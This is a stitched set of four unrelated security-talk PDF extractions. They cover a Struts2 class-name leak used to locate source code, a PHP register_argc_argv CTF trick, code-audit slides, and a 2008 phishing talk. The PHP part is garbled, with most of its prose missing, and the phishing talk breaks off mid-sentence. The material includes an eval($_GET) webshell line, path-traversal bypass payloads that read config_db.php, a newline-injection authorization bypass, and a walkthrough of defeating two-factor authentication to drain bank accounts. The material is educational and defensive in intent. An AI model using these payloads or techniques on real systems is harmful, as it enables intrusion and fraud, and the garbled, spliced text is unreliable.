1 OLONNONS-我⽤NL年前的技巧拿了⼀个shell 在分析完 log4shell 对于struts2的影响后,感觉struts2框架写的有点xxx,由于⼿上正好有⼏个 struts2打 log4shell 不成功,于是准备先看看其历史漏洞然后在挖挖看。 在看struts2历史漏洞时发现空虚浪⼦⼼前辈以前挖过不少struts2的漏洞于是在他博客看了他的很多⽂章 博客(看⾃闭了),发现他提到的⼀个判断struts2的⽅法。 通过在正常的Action后添加参数 ?ActionErrors=xxx 会返回404⻚⾯。 Struts2⾥的Action都继承⾃ ActionSupport 0x01 前⾔ 0x01 判断struts2的⽅法 0x02 原理分析 2 ⽽ ActionSupport 存在 setActionErrors 和 getActionErrors ⽅法可以获取到ActionErrors参 数。 ActionErrors 在 struts2 中常作为⽤户输⼊验证,当不正确时被赋值,此时就不会进⼊Action中, 不进⼊Action中意味着没有结果返回。 org.apache.struts2.dispatcher.Dispatcher#serviceAction 3 proxy.execute() 因为没有结果返回会出现异常,异常信息携带了此action的全类名 com.demo.action.LinkAction 最后进⼊ sendError 通过404⻚⾯返回。 但通过实际测试发现很多情况下并不会返回404。我本地使⽤struts-2.5.27⾥⾃带的struts2-showcase 进⾏测试发现也不⾏,我⾃⼰在 WEB-INF/classes/struts.xml 写了⼀个action 发现是⾏的,实际测试过程中遇到同⼀个站有的action加这个参数200。 有的action加这个404能爆出全类名,有的404爆的全类名是 ActionSupport 。 4 有的还会把物理路径爆出来,有的应该是⾃定义了404⻚⾯这种⽅法不⾏。 对于各种情况没弄清楚具体原因能⼒有限没调试出来,希望有师傅知道的能解答⼀下。 我看到这个点的时候想到的并不是struts2框架指纹判断。⽽是注意到这个404⻚⾯会把全类名爆出来可以 ⽤来找源码。 以前做渗透遇到⼀个只有⼀个登录⻚⾯搞不进去的时候,⼀般会想着找个源码。 有下⾯⼏种思路: 1. 找个指纹扫下备份 2. 通过前端js等⽂件⾥的⼀些关键词在github上搜索 3. 通过各种蛛丝⻢迹得知此系统开发商再找源码 4. 想办法打⼀个报错获取全类名 但是有的时候遇到的系统这些⽅法都⾏不通。此时通过这个技巧可以获知action的全类名,即可直接在 github上搜索这个全类名可以很轻松的找到源码,如果找不到的话可通过全类名关联到开发商再想办法找 源码。 找了⼏个⼿上的⽬标站测试这个问题,发现⼀个存在这个问题。 通过这个全类名在github上找代码 0x03 实际运⽤ 5 结果⽐较多有62个,选定xml⽂件进⾏搜索 找到⼀份18年的代码审计过程较为简单直接的任意⽂件上传。 6
pdf
/ register_argc_argv boolean Tells PHP whether to declare the argv & argc variables (that would contain the GET information). See also command line. register_argc_argv TRUE Setting this to TRUE means that scripts executed via the CLI SAPI always have access to argc (number of arguments passed to the application) and argv (array of the actual arguments).The PHP variables $argc and $argv are automatically set to the appropriate values when using the CLI SAPI. These values can also be found in the $_SERVER array, for example: [$_SERVER'argv']. PHP register_argc_argv 0x01 CTF register_argc_argv WEB yzddmr6 register_argc_argv register_argc_argv PHP 0x02 register_argc_argv PHP argv argc GET register_argc_argv TRUE CLI SAPI argc argvCLI SAPIPHP $argc $argv $_SERVER $_SERVER['argv'] php.ini register_argc_argv On php ON github Off 5.2.17 On 5.4.455.5.9 7.3.4 Off register_argc_argv Off register_argc_argv <?php error_reporting(0); $a = $_GET['a']; echo $a; var_dump($_SERVER[argv]); var_dump($_SERVER); ?> register_argc_argv register_argc_argv argv argc argv PHP $argv $_SERVER['argv'] $_GET $_POST PHP PHP REQUEST PHP $argv php php argv register_argc_argv CLI $_SERVER['argv'] global $_GLOBALS['argv'] $_SERVER['argv'] $_GLOBALS['argv'] register_argc_argv CLICommand Line Interface SAPI Server Application Programming InterfaceSAPIPHPCLI SAPI CLI SAPIPHPCLI CLIPHPPHP $argv , $argc // test.php <?php var_dump($argc); var_dump($argv); $argc 5 $argv 5 test.php-s-ttest100 $argc $argv test 100 -s -t php getopt() getopt() options: (-) x -x a-z,A-Z,0-9 longopts: (–) opt --opt optind(>=PHP7.1.0): options php test.php -s -t test 100 getopt ( string $options [, array $longopts [, int &$optind ]] ) : array php getopt.php -apanda -chello -b next -dooo getopt(options) options / FALSE options key value false options getopt() test 100 -s -t 0x03 <?php // getopt.php $test = getopt('a:b:c:de'); var_dump($test); // newtest.php <?php $argv = getopt('s:t:'); var_dump($argc); var_dump($argv); 0x03 $_GET $_POST $_SERVER['argv']; $argc 1 $argv $_GET $_POST $_SERVER['argv'] GET query string GET PHP main/php_variables.c 591 php_build_argv PHPAPI void php_build_argv(const char *s, zval *track_vars_array) { zval arr, argc, tmp; int count = 0; if (SG(request_info).argc) CLI SAPI CLI request info argv arr query string + phpzend_stringzend_string arr + if (!(SG(request_info).argc || track_vars_array)) { return; } array_init(&arr); /* Prepare argv */ if (SG(request_info).argc) { /* are we in cli sapi? */ int i; for (i = 0; i < SG(request_info).argc; i++) { ZVAL_STRING(&tmp, SG(request_info).argv[i]); if (zend_hash_next_index_insert(Z_ARRVAL(arr), &tmp) == NULL) { zend_string_efree(Z_STR(tmp)); } } } else if (s && *s) { while (1) { const char *space = strchr(s, '+'); /* auto-type */ ZVAL_STRINGL(&tmp, s, space ? space - s : strlen(s)); count++; if (zend_hash_next_index_insert(Z_ARRVAL(arr), &tmp) == NULL) { zend_string_efree(Z_STR(tmp)); } if (!space) { break; } s = space + 1; } } <?php $argv = $_SERVER['argv']; $a = $_POST['a']; $b = $_POST['b']; foreach ($argv as $arg) { $e = explode("=",$arg); if($e[0]==$test) $a = $e[0]; elseif($e[0]==$b) $e[0]($a); } ?> D 1 register_argc_argv php.ini register_argc_argv "register *100" PHP shell PHP_INI_USER ini_set() Windows PHP 5.3 .user.ini PHP_INI_PERDIR php.ini.htaccess httpd.conf PHP_INI_SYSTEM php.ini httpd.conf PHP_INI_ALL register_argc_argv PHP_INI_PERDIR PHP_INI_* Apache Nginx .htaccess .user.ini Apache .htaccess Nginx .user.ini php_value register_argc_argv On register_argc_argv=On 0x04 getopt() —— web getopt() tips 0x05 https://www.php.net/manual/zh/features.commandline.php https://www.php.net/manual/en/features.commandline.differences.php https://www.php.net/manual/zh/reserved.variables.argv.php https://www.php.net/reserved.variables.server https://www.php.net/getopt https://www.php.net/manual/zh/function.ini-set.php https://www.php.net/manual/zh/ini.list.php https://www.php.net/manual/zh/configuration.changes.modes.php https://www.php.net/manual/zh/ini.core.php#ini.register-argc-argv
pdf
老司机独家代码审计姿势 --色豹 目录 代码审计介绍 代码审计流程思路 web应用代码审计 IOT固件代码审计 1 2 3 4 代码审计介绍 代码审计(Code audit)是一种以发 现程序错误,安全漏洞和违反程序规 范为目标的源代码分析。 什么是代码审计? 代码审计工具 Fortify SCA Checkmarx CxSuite RIPS 厂商 Fortify Software Checkmarx rips 支持语言 Java,JSP,ASP.NET,C#, VB.NET,C,C++,COB OL, ColdFusion,Transac t-SQL, PL/SQL,JavaScript/ Ajax, Classic,ASP,VBScript, VB6,PHP JAVA、ASP.NET (C#、VB.NET)、 JavaScript、Jscript、 C/C++、APEX PHP 风险种类 400种 300种 参考CWE 报价 100万/软件 70万/软件 免费版 性价比 中 高 高 代码审计的意义 提高应用 软件源代 码质量 避免应用 系统潜在 后门危害 提升系统 本身的安 全性 挖掘渗透 测试触及 不到的地 方 代码审计流程思路 代码审计思路 根据敏感关键字, 回溯参数传递过程 查找可控变量, 正向追踪变量传递过程 寻找敏感功能点, 通读功能点代码 直接通读全文代码 代码审计思路 敏感关键字 一段简单的代码: <?php eval($_GET[‘a’]); 命令执行漏洞 敏感关键字 一段复杂的代码: <?php … //1000行 eval($_GET[‘a’]); …//1000行 ?> 敏感关键字 一段复杂的代码: <?php … //1000行 eval($_GET[‘a’]); …//1000行 ?> 正则表达式: \beval\(\$_(GET|POST) 敏感关键字 一段复杂的代码: <?php … //1000行 eval($_GET[‘a’]); …//1000行 ?> 正则表达式: \beval\(\$_(GET|POST) 可控变量 一切用户可控的输入都是有害的 $_GET,$_POST,$_REQUEST,$_COOKIE 用户可控的变量 可控变量 一段简单的代码: <?php echo($_GET[‘a’]); XSS漏洞 可控变量 一段复杂的代码: <?php … //1000行 echo($_GET[‘a’]); …//1000行 ?> 正则表达式: \becho\(\$_(GET|POST) 敏感功能 文件上传功能,GETSHELL 上传黑白名单,content-type,上传大小 敏感功能 敏感功能 if (file_exists("upload/" . $_FILES["file"]["name"])) { echo $_FILES["file"]["name"] . " already exists. "; } else { move_uploaded_file($_FILES["file"] ["tmp_name"],"upload/ " . $_FILES["file"]["name"]); echo "Stored in: " . "upload/" . $_FILES["file"]["name"]; } 敏感功能 move_uploaded_file 将上传的文件移动到新位置的函数 审计移动前函数的过滤 通读程序代码 通读程序代码 熟悉整体架构 覆盖逻辑漏洞 掌握程序流程 通读代码优点 通读程序代码 代码量庞大 审计时间过长 投入≠产出 通读代码缺点 Web应用代码审计 过滤不完善 过滤不完善 过滤不完善 画蛇添足 画蛇添足 1, 绕过过滤,selselectect- >select 2,没有过滤\,虽然前面用 了addslashes, 但是后面又把单引号置 空了 3, '\-->addslashes-->\'\\--> 单引号置空-->\\\ 4, 必备条件:两个连续的 可控点。 第一个引入’\,第二个 参数payload 画蛇添足 实际执行SQL语句 补丁的绕过与修复 补丁的绕过与修复 Payload:?dir=..././http/..././config/config_db.php 补丁的绕过与修复 Payload:?dir=.....///http/.....///config/config_db.php 补丁的绕过与修复 dir参数必须以http开头 Payload:?dir=http/.....///.....///config/config_db.php 补丁的绕过与修复 使用strpos函数查找./首次出现的位置,windows用..\ Payload:?dir=http\..\..\config\config_db.php 补丁的绕过与修复 放弃修复,删文件!!! IOT固件代码审计 工欲善其事,必先利其器 firmadyne https://github.com/firmadyne/firmadyne firmware-analysis-toolkit https://github.com/attify/firmware-analysis-toolkit Firmwalker https://github.com/craigz28/firmwalker Binwalk https://github.com/ReFirmLabs/binwalk 裸奔的参数 裸奔的参数 不懂漏洞根源 Bypass: %0aAUTHORIZED_GROUP=1 收集用户隐私 固件后门 谢 谢 观 看
pdf
Let’s Sink The Phishermen’s Boat! Teo Sze Siong, <[email protected]> F-Secure Corporation Sunday, June 29, 2008 Page 2 Why this topic? • Internet banking has become more and more preferred choice • Yet, many people don't understand the risk they are facing in online banking • Keep antivirus software updated • Use online banking on SSL-enabled websites only • Use online banking on trusted machine only • Use 2-factor authentication security feature • Use latest web browser with fully patched plug-ins • Keep antivirus software updated • Use online banking on SSL-enabled websites only • Use online banking on trusted machine only • Use 2-factor authentication security feature • Use latest web browser with fully patched plug-ins Source: http://www.news.com.au/business/story/0,23636,22561818-5013952,00.html Do you think the following practices protect you from phishing attack? Answer is NO! Sunday, June 29, 2008 Page 3 Phishing attack is not an issue that can be solved overnight! • Billion dollar losses caused by phishing attacks • Banks can't simply reverse transactions - legal issues Source: http://www.gartner.com/it/page.jsp?id=565125&format=print Sunday, June 29, 2008 Page 4 Source: http://www.antiphishing.org/reports/apwg_report_jan_2008.pdf How serious now? • Currently, there is no complete automated solution to detect phishing accurately • It is all over the world targeting different nationalities and different banks! • Phishing techniques used are getting more sophisticated than before Sunday, June 29, 2008 Page 5 Commonly used techniques in phishing • DNS modification / cache poisoning a.k.a. pharming • HTML / Javascript content with visual similarity (even Flash-based) • Spoofed source email address • ARP poisoning to redirect traffic • API hooking (user mode / kernel mode) • Browser plug-in (BHO mainly targeting Internet Explorer) • Similar URLs / obfuscated encodings • Hosting websites on fast flux network (usually botnet machines) • Uses drive-by downloads to infect Trojan via software vulnerability Sunday, June 29, 2008 Page 6 Flash-based phishing website Source: http://www.f-secure.com/weblog/archives/00001066.html Sunday, June 29, 2008 Page 7 Example 1: Website with drive-by download Sunday, June 29, 2008 Page 8 Analysis report of drive-by download website 2008/05/17 18:44:31 - [UTCD-INFO] Target: http://www.mongoliatourism.gov.mn/ 2008/05/17 18:44:31 - [UTCD-INFO] Priority Level: 5 2008/05/17 18:44:31 - [UTCD-INFO] UMS's URL ID: 3643208 2008/05/17 18:44:31 - [UTCD-INFO] HTTP Request Metadata: null 2008/05/17 18:44:31 - [UTCD-INFO] Remaining Failure Retry: 3 2008/05/17 18:44:31 - [UTCD-INFO] URL Type: Web browser interpretable URL 2008/05/17 18:44:32 - [UTCD-INFO] Content-Type: text/html 2008/05/17 18:44:32 - [UTCD-INFO] Server Date: Sat, 17 May 2008 09:36:16 GMT 2008/05/17 18:44:32 - [UTCD-INFO] Server Type: Apache/2.2.8 (Unix) 2008/05/17 18:44:32 - [GOAT-INFO] WXPSP2-1: Windows XP Pro SP2 + Firefox 1.0 and IE6 2008/05/17 18:44:32 - [GOAT-INFO] IE6/IE7 = Enabled, Firefox1/2 = Enabled 2008/05/17 18:44:32 - [GOAT-INFO] Network IO Check Interval = 5secs 2008/05/17 18:44:32 - [GOAT-INFO] Network IO Activity Tolerance = 512bytes 2008/05/17 18:44:32 - [UTCD-INFO] Sending URL to UAE for automated analysis... 2008/05/17 18:44:32 - [UTCD-INFO] Analyzing website in VMware goat environment... 2008/05/17 18:46:29 - [UTCD-INFO] Time elapsed 1 minutes and 57 seconds 2008/05/17 18:46:31 - [UTCD-INFO] Goat Process ID: 1636 2008/05/17 18:46:31 - [UTCD-INFO] IE6/7 Process ID: 1668 2008/05/17 18:46:31 - [UTCD-INFO] FireFox 1/2 Process ID: 1676 2008/05/17 18:46:31 - [UTCD-INFO] Pop-up Window(s) Found: 0 2008/05/17 18:46:31 - [UTCD-INFO] Analyzing tracer log... (2,363,042 bytes) 2008/05/17 18:46:31 - [UTCD-INFO] Time elapsed 0.102503061295 second 2008/05/17 18:46:31 - [UTCD-INFO] Exploited web browser: Internet Explorer 2008/05/17 18:46:31 - [UTCD-INFO] Suspicious folder creation count: 0 2008/05/17 18:46:31 - [UTCD-INFO] Suspicious file creation count: 3 2008/05/17 18:46:31 - [UTCD-INFO] Suspicious registry key creation count: 6 2008/05/17 18:46:31 - [UTCD-INFO] Suspicious process creation count: 4 2008/05/17 18:46:31 - [UTCD-INFO] Threat percentage: 100% 2008/05/17 18:46:31 - [UTCD-INFO] Conclusion: Malicious ===== DEBUG INFORMATION - GOAT MACHINE CHANGES ===== {'createdir': [], 'createfile': [ {'file': '%windir%\\system32\\drivers\\qdm33.sys'}, {'file': '%windir%\\system32\\winctrl32.dll'}, {'file': 'c:\\6lwxsu.exe'}], 'createkey': [ {'key': '%hkcu%\\s-1-5-21-1343024091-1417001333-839522115-1003\\parameters'}, {'key': '%hkcu%\\s-1-5-21-1343024091-1417001333-839522115-1003\\rfc1156agent'}, {'key': '%hklm%\\software\\microsoft\\windows nt\\currentversion\\drivers32\\controlset002'}, {'key': '%hklm%\\software\\microsoft\\windows nt\\currentversion\\drivers32\\qdm33'}, {'key': '%hklm%\\system\\currentcontrolset\\services\\qdm33'}, {'key': '%hklm%\\system\\currentcontrolset\\services\\security'}], 'newproc': [ {'1344,532': '%windir%\\system32\\cmd.exe'}, {'1392,1264': '%windir%\\system32\\svchost.exe'}, {'1392,1344': '%temp\\bn7.tmp'}, {'1668,1392': 'c:\\6lwxsu.exe'}]} ===== DEBUG INFORMATION - GOAT MACHINE CHANGES ====== Sunday, June 29, 2008 Page 9 Example 2: Website with drive-by download Sunday, June 29, 2008 Page 10 2008/06/26 05:30:37 - [UTCD-INFO] Target: http://scit.hit.edu.cn/design/ShowArticle.asp?ArticleID=976 2008/06/26 05:30:37 - [UTCD-INFO] Priority Level: 5 2008/06/26 05:30:37 - [UTCD-INFO] UMS's URL ID: 5088202 2008/06/26 05:30:37 - [UTCD-INFO] HTTP Request Metadata: null 2008/06/26 05:30:37 - [UTCD-INFO] Remaining Failure Retry: 3 2008/06/26 05:30:37 - [UTCD-INFO] URL Type: Web browser interpretable URL 2008/06/26 05:30:38 - [UTCD-INFO] Content Length: 23,163 bytes 2008/06/26 05:30:38 - [UTCD-INFO] Content-Type: text/html 2008/06/26 05:30:38 - [UTCD-INFO] Server Date: Wed, 25 Jun 2008 21:33:09 GMT 2008/06/26 05:30:38 - [UTCD-INFO] Server Type: Microsoft-IIS/5.0 2008/06/26 05:30:38 - [GOAT-INFO] WXPSP2-2: Windows XP Pro SP2 + Firefox 2.0 and IE 7.0 2008/06/26 05:30:38 - [GOAT-INFO] IE6.0/IE7.0 = Enabled, Firefox1.0/2.0 = Enabled 2008/06/26 05:30:38 - [GOAT-INFO] Network IO Check Interval = 5secs 2008/06/26 05:30:38 - [GOAT-INFO] Network IO Activity Tolerance = 512bytes 2008/06/26 05:30:38 - [UTCD-INFO] Sending URL to UAE for automated analysis... 2008/06/26 05:30:38 - [UTCD-INFO] Analyzing website in VMware goat environment... 2008/06/26 05:32:15 - [UTCD-INFO] Time elapsed 1 minutes and 37 seconds 2008/06/26 05:32:15 - [UTCD-INFO] Goat Process ID: 1728 2008/06/26 05:32:15 - [UTCD-INFO] IE 6.0/7.0 Process ID: 8368 2008/06/26 05:32:15 - [UTCD-INFO] FireFox 1.0/2.0 Process ID: 8392 2008/06/26 05:32:15 - [UTCD-INFO] Pop-up Window(s) Found: 0 2008/06/26 05:32:16 - [UTCD-INFO] Analyzing tracer log... (20,669,663 bytes) 2008/06/26 05:32:16 - [UTCD-INFO] Time elapsed 0.760082960129 second 2008/06/26 05:32:16 - [UTCD-INFO] Exploited web browser: IE and Firefox 2008/06/26 05:32:16 - [UTCD-INFO] Suspicious folder creation count: 0 2008/06/26 05:32:16 - [UTCD-INFO] Suspicious file creation count: 7 2008/06/26 05:32:16 - [UTCD-INFO] Suspicious registry key creation count: 35 2008/06/26 05:32:16 - [UTCD-INFO] Suspicious process creation count: 4 2008/06/26 05:32:16 - [UTCD-INFO] Threat percentage: 100% 2008/06/26 05:32:16 - [UTCD-INFO] Conclusion: Malicious Analysis report of drive-by download website Sunday, June 29, 2008 Page 11 …continued ====================== DEBUG INFORMATION - GOAT MACHINE CHANGES ====================== {'createdir': [], 'createfile': [ {'file': '%internetcache%\\5ps8r2b2\\ko[1].exe'}, {'file': '%internetcache%\\6q9hncm8\\ko[1].exe'}, {'file': '%temp%\\orz.exe'}, {'file': '%windir%\\kdsv.exe'}, {'file': '%windir%\\system32\\drivers\\ntdapi.sys'}, {'file': '%windir%\\ugvq.exe'}, {'file': 'c:\\mahtesf3.bat'}], 'createkey': [ {'key': '%hkcu%\\ntdapi'}, {'key': '%hkcu%\\s-1-5-21-1343024091-1417001333-839522115-1003\\avs'}, {'key': '%hkcu%\\s-1-5-21-1343024091-1417001333-839522115-1003\\software\\microsoft\\windows nt\\currentversion\\image file execution options\\qqdoctor.exe'}, {'key': '%hkcu%\\s-1-5-21-1343024091-1417001333-839522115-1003\\software\\microsoft\\windows nt\\currentversion\\image file execution options\\qqdoctormain.exe'}, {'key': '%hklm%\\software\\microsoft\\windows nt\\currentversion\\windows\\clsid\\{a9895933-6636-4281-bc58-ee6de2af96e3}\\inprocserver32'}, {'key': '%hklm%\\software\\microsoft\\windows nt\\currentversion\\windows\\clsid\\{dc3d30ae-0380-4151-8934-ee98a34b0370}\\inprocserver32'}, {'key': '%hklm%\\software\\microsoft\\windows nt\\currentversion\\windows\\explorer'}, {'key': '%hklm%\\software\\microsoft\\windows nt\\currentversion\\windows\\inprocserver32'}, {'key': '%hklm%\\software\\microsoft\\windows nt\\currentversion\\windows\\inprocserver32'}, {'key': '%hklm%\\software\\microsoft\\windows nt\\currentversion\\windows\\inprocserver32'}, {'key': '%hklm%\\software\\microsoft\\windows nt\\currentversion\\windows\\inprocserver32'}, {'key': '%hklm%\\software\\microsoft\\windows nt\\currentversion\\windows\\software\\microsoft\\windows\\currentversion\\explorer\\browser helper objects\\{55694105-5108-9405-3695-954187462155}'}, {'key': '%hklm%\\software\\microsoft\\windows nt\\currentversion\\windows\\software\\microsoft\\windows\\currentversion\\explorer\\browser helper objects\\{5a069845-2036-6084-9054-6087502480a5}'}, {'key': '%hklm%\\software\\microsoft\\windows nt\\currentversion\\windows\\software\\microsoft\\windows\\currentversion\\explorer\\browser helper objects\\{7c8d1401-a58d-a81c-cd24-a5915c4517c7}'}, {'key': '%hklm%\\software\\microsoft\\windows nt\\currentversion\\windows\\software\\microsoft\\windows\\currentversion\\explorer\\browser helper objects\\{b490415f-65f8-b5c5-d8ba-9405fb12054b}'}, {'key': '%hklm%\\software\\microsoft\\windows nt\\currentversion\\windows\\windows'}, {'key': '%hklm%\\system\\currentcontrolset\\control\\nls\\locale\\alternate sorts\\{7a041f13-a111-12a3-b0cf-f99818aa68a7}'}, {'key': '%hklm%\\system\\currentcontrolset\\control\\nls\\locale\\alternate sorts\\{7c8d1401-a58d-a81c-cd24-a5915c4517c7}'}, {'key': '%hklm%\\system\\currentcontrolset\\control\\nls\\locale\\alternate sorts\\{a629ff4f-acdb-5c90-a098-facb3456a26a}'}, {'key': '%hklm%\\system\\currentcontrolset\\control\\nls\\locale\\alternate sorts\\{b490415f-65f8-b5c5-d8ba-9405fb12054b}'}], 'newproc': [ {'8196,8484': '%windir%\\kdsv.exe'}, {'8368,8964': '%temp\\orz.exe'}, {'8392,8196': '%temp\\orz.exe'}, {'8964,8268': '%windir%\\ugvq.exe'}]} ====================== DEBUG INFORMATION - GOAT MACHINE CHANGES ====================== Sunday, June 29, 2008 Page 12 …continued Infected Virtual Machine analysis log file Sunday, June 29, 2008 Page 13 Example 3: Website with drive-by download Sunday, June 29, 2008 Page 14 ===== DEBUG INFORMATION - GOAT MACHINE CHANGES ===== {'createdir': [], 'createfile': [ {'file': '%temp%\\frame2_276.exe'}, {'file': '%temp%\\liar3.exe'}, {'file': '%windir%\\system32\\drivers\\qandr.sys'}, {'file': 'c:\\documents and settings\\user\\win.exe'}], 'createkey': [ {'key': '%hklm%\\system\\currentcontrolset\\services\\security'}], 'newproc': [ {'1276,1464': '%windir%\\system32\\net1.exe'}, {'536,1276': '%windir%\\system32\\net.exe'}, {'536,360': '%temp\\frame2_276.exe'}, {'536,492': '%temp\\liar3.exe'}, {'840,536': 'c:\\documents and settings\\user\\win.exe'}]} ===== DEBUG INFORMATION - GOAT MACHINE CHANGES ===== 2008/05/21 16:52:19 - [UTCD-INFO] Target: http://www.interclass.dir.bg/ 2008/05/21 16:52:19 - [UTCD-INFO] Priority Level: 5 2008/05/21 16:52:19 - [UTCD-INFO] UMS's URL ID: 365 2008/05/21 16:52:19 - [UTCD-INFO] Remaining Failure Retry: 3 2008/05/21 16:52:20 - [UTCD-INFO] URL Type: Web browser interpretable URL 2008/05/21 16:52:20 - [UTCD-INFO] Content Length: 1,540 bytes 2008/05/21 16:52:20 - [UTCD-INFO] Content-Type: text/html 2008/05/21 16:52:20 - [UTCD-INFO] Server Date: Wed, 21 May 2008 08:52:19 GMT 2008/05/21 16:52:20 - [UTCD-INFO] Server Type: Zeus/4.3 2008/05/21 16:52:20 - [UTCD-INFO] Last Modified: Tue, 20 May 2008 09:17:55 GMT 2008/05/21 16:52:20 - [GOAT-INFO] WXPSP2-1: Windows XP Pro SP2 + Firefox 1.0 and IE 6.0 2008/05/21 16:52:20 - [GOAT-INFO] IE6.0/IE7.0 = Enabled, Firefox1.0/2.0 = Enabled 2008/05/21 16:52:20 - [GOAT-INFO] Network IO Check Interval = 5secs 2008/05/21 16:52:20 - [GOAT-INFO] Network IO Activity Tolerance = 512bytes 2008/05/21 16:52:20 - [UTCD-INFO] Sending URL to UAE for automated analysis... 2008/05/21 16:52:20 - [UTCD-INFO] Analyzing website in VMware goat environment... 2008/05/21 16:52:50 - [UTCD-INFO] Time elapsed 0 minutes and 30 seconds 2008/05/21 16:52:50 - [UTCD-INFO] Goat Process ID: 1648 2008/05/21 16:52:50 - [UTCD-INFO] IE 6.0/7.0 Process ID: 840 2008/05/21 16:52:50 - [UTCD-INFO] FireFox 1.0/2.0 Process ID: 1768 2008/05/21 16:52:50 - [UTCD-INFO] Pop-up Window(s) Found: 0 2008/05/21 16:52:50 - [UTCD-INFO] Analyzing tracer log... (766,680 bytes) 2008/05/21 16:52:50 - [UTCD-INFO] Time elapsed 0.0320420265198 second 2008/05/21 16:52:50 - [UTCD-INFO] Exploited web browser: Internet Explorer 2008/05/21 16:52:50 - [UTCD-INFO] Suspicious folder creation count: 0 2008/05/21 16:52:50 - [UTCD-INFO] Suspicious file creation count: 4 2008/05/21 16:52:50 - [UTCD-INFO] Suspicious registry key creation count: 1 2008/05/21 16:52:50 - [UTCD-INFO] Suspicious process creation count: 5 2008/05/21 16:52:50 - [UTCD-INFO] Threat percentage: 100% 2008/05/21 16:52:50 - [UTCD-INFO] Conclusion: Malicious What is the malware most likely trying to do? [CLUE] <C:\> net start… Analysis report of drive-by download website Sunday, June 29, 2008 Page 15 Example 4: Website with drive-by download Sunday, June 29, 2008 Page 16 Analysis report drive-by download website ===== DEBUG INFORMATION - GOAT MACHINE CHANGES ===== {'createdir': [ {'dir': '%windir%\\fonts\\system'}], 'createfile': [ {'file': '%temp%\\_bnyunxing0.znb'}, {'file': '%temp%\\orz.exe'}, {'file': '%windir%\\system32\\atielf.dat'}, {'file': '%windir%\\system32\\gsdhadwd.sys'}, {'file': '%windir%\\system32\\mndhddwd.dll'}, {'file': '%windir%\\system32\\tpnc.bat'}], 'createkey': [ {'key': '%hklm%\\system\\currentcontrolset\\services\\atixeve2781'}, {'key': '%hklm%\\system\\currentcontrolset\\services\\security'}], 'newproc': [ {‘776,1375': '%temp\\orz.exe'}, {'1024,1744': '%temp\\orz.exe'}, {'1744,576': '%windir%\\system32\\svchost.exe'}]} ===== DEBUG INFORMATION - GOAT MACHINE CHANGES ===== 2008/06/09 11:58:41 - [UTCD-INFO] Target: http://www.mx5e.com 2008/06/09 11:58:41 - [UTCD-INFO] Priority Level: 4 2008/06/09 11:58:41 - [UTCD-INFO] UMS's URL ID: 4096881 2008/06/09 11:58:41 - [UTCD-INFO] HTTP Request Metadata: null 2008/06/09 11:58:41 - [UTCD-INFO] Remaining Failure Retry: 3 2008/06/09 11:58:42 - [UTCD-INFO] URL Type: Web browser interpretable URL 2008/06/09 11:58:43 - [UTCD-INFO] Content Length: 157,608 bytes 2008/06/09 11:58:43 - [UTCD-INFO] Content-Type: text/html; charset=utf-8 2008/06/09 11:58:43 - [UTCD-INFO] Server Date: Mon, 09 Jun 2008 03:58:20 GMT 2008/06/09 11:58:43 - [UTCD-INFO] Server Type: Microsoft-IIS/6.0 2008/06/09 11:58:43 - [UTCD-INFO] X-Powered By: ASP.NET 2008/06/09 11:58:43 - [GOAT-INFO] WXPSP2-3: Windows XP Pro SP2 + Firefox 2.0.0.14 and IE 7.0 2008/06/09 11:58:43 - [GOAT-INFO] IE6.0/IE7.0 = Enabled, Firefox1.0/2.0 = Enabled 2008/06/09 11:58:43 - [GOAT-INFO] Network IO Check Interval = 5secs 2008/06/09 11:58:43 - [GOAT-INFO] Network IO Activity Tolerance = 512bytes 2008/06/09 11:58:43 - [UTCD-INFO] Sending URL to UAE for automated analysis... 2008/06/09 11:58:43 - [UTCD-INFO] Analyzing website in VMware goat environment... 2008/06/09 12:00:05 - [UTCD-INFO] Time elapsed 1 minutes and 22 seconds 2008/06/09 12:00:06 - [UTCD-INFO] Goat Process ID: 1688 2008/06/09 12:00:06 - [UTCD-INFO] IE 6.0/7.0 Process ID: 776 2008/06/09 12:00:06 - [UTCD-INFO] FireFox 1.0/2.0 Process ID: 1024 2008/06/09 12:00:06 - [UTCD-INFO] Pop-up Window(s) Found: 0 2008/06/09 12:00:07 - [UTCD-INFO] Analyzing tracer log... (1,354,649 bytes) 2008/06/09 12:00:07 - [UTCD-INFO] Time elapsed 0.110128164291 second 2008/06/09 12:00:07 - [UTCD-INFO] Exploited web browser: IE and Firefox 2008/06/09 12:00:07 - [UTCD-INFO] Suspicious folder creation count: 1 2008/06/09 12:00:07 - [UTCD-INFO] Suspicious file creation count: 6 2008/06/09 12:00:07 - [UTCD-INFO] Suspicious registry key creation count: 2 2008/06/09 12:00:07 - [UTCD-INFO] Suspicious process creation count: 2 2008/06/09 12:00:07 - [UTCD-INFO] Threat percentage: 100% 2008/06/09 12:00:07 - [UTCD-INFO] Conclusion: Malicious Analysis was done in a VMware image with fully patched Windows XP Professional SP2 and latest version of web browsers This website does not contain any zero-day exploit. So, how did our honey client get exploited? Sunday, June 29, 2008 Page 17 …continued Sunday, June 29, 2008 Page 18 Two-factor authentication in a nutshell Source: Images: http://en.wikipedia.org/wiki/Security_token Article: http://www.finextra.com/fullstory.asp?id=15169 Sunday, June 29, 2008 Page 19 How does two-factor authentication works? Source: http://www.mocomsystems.com/Information/RSA.htm Sunday, June 29, 2008 Page 20 Two-factor authentication ripped by phishers Sunday, June 29, 2008 Page 21 Bypassing the 2-factor authentication 1/3 1. Victim logins to the fake banking website using their username, password and one-time-use security token generated from security device provided by bank 2. The attacker uses the login information entered by victim at the fake banking website to login to the real banking website 3. To maintain access of the authenticated session, the attacker writes an automation script to let make his server reload the real website or randomly click on main links at the website Note: The technique used in step 3 employs ‘local session riding’ at the attacker’s server to forge request on behalf of the victim to the real banking site Sunday, June 29, 2008 Page 22 Bypassing the 2-factor authentication 2/3 1. The attacker retrieves information from the real banking website and stores them to the simulated fake banking website database • Account number • Account Owner Full Name • Account Balance • Last Login Date and Time • Transaction history • Other Details • Account number • Account Owner Full Name • Account Balance • Last Login Date and Time • Transaction history • Other Details Note: The automation script written by the attacker will keep running at the simulated fake banking website to maintain the authenticated session with the real banking website Sunday, June 29, 2008 Page 23 • In online banking systems protected with 2-factor authentication, a security token is required from the user for each transaction to be performed • Whenever the victim enters a security token to perform transaction, the attacker uses the security token entered at the fake website to perform fund transfer from the victim’s banking account to their money mule’s account Bypassing the 2-factor authentication 3/3 Note: The automation script written by the attacker will keep running at the simulated fake banking website to maintain the authenticated session with the real banking website Sunday, June 29, 2008 Page 24 Transferring all money out from a banking account preset with daily transaction limit • Since the attacker’s automation script is running, the authenticated session can be maintained from a few hours up to a 